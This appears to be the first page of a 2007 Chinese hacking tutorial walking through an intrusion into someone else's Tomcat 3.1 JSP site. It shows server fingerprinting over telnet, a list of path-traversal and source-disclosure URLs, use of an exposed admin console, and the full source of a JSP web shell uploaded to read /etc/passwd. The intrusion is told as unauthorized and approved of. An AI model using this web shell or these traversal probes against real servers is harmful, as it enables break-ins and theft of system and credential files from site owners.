新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - Web开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 网络学院 > 网络安全 > 黑客技术 > 正文:黑客攻击技术 WEB网站入侵的过程

黑客攻击技术 WEB网站入侵的过程

新客网 XKER.COM 2007-03-20 来源: 收藏本文

很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.com 8080 
GET /CHINANSL HTTP/1.1 
[Enter] 
[Enter] 
返回的结果如下: 
HTTP/1.0 404 Not Found 
Date: Sun, 08 Jul 2001 07:49:13 GMT 
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 
.2.12 i386; java.vendor=Blackdown Java-Linux Team) 
Content-Language: en 
Content-Type: text/html 
Status: 404 

Error: 404

Location: /CHINANSL

File Not Found
/CHINANSL

我获得了运行的WEBServer的名称"Tomcat 3.1"。我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。大概是:通过".."技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行) 
http://target:8080/file/index.jsp (不行) 
http://target:8080/index.JSP (不行) 
http://target:8080/index.jsp%81 (不行) 
http://target:8080/index.js%70 (不行) 
http://target:8080/index.jsp%2581 (不行) 
http://target:8080/WEB-INF/ (不行)

嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ ,管理员果然没有删除或禁止访问这个目录。接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。几口咖啡的时间,我写了这么一个东东出来:

<%@ page import="java.io.*" %> 
<% 
String file = request.getParameter("file"); 
String str = ""; 
FileInputStream fis = null; 
DataInputStream dis = null; 
try{ 
fis = new FileInputStream(file); 
dis = new DataInputStream(fis); 
while(true){ 
try{ 
str = dis.readLine(); 
}catch(Exception e){} 
if(str == null)break; 
out.print(str+"
"); } }catch(IOException e){} %>

通过上传的组件将这个jsp上传到对方的WEB目录里,然后:

http://target:8080/upload/test.jsp?file=/etc/passwd

嘿嘿,密码出来啦。我只看了"/etc/passwd",并没有看"/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误)接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧!

共2页: 上一页 [1] [2] 下一页
收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐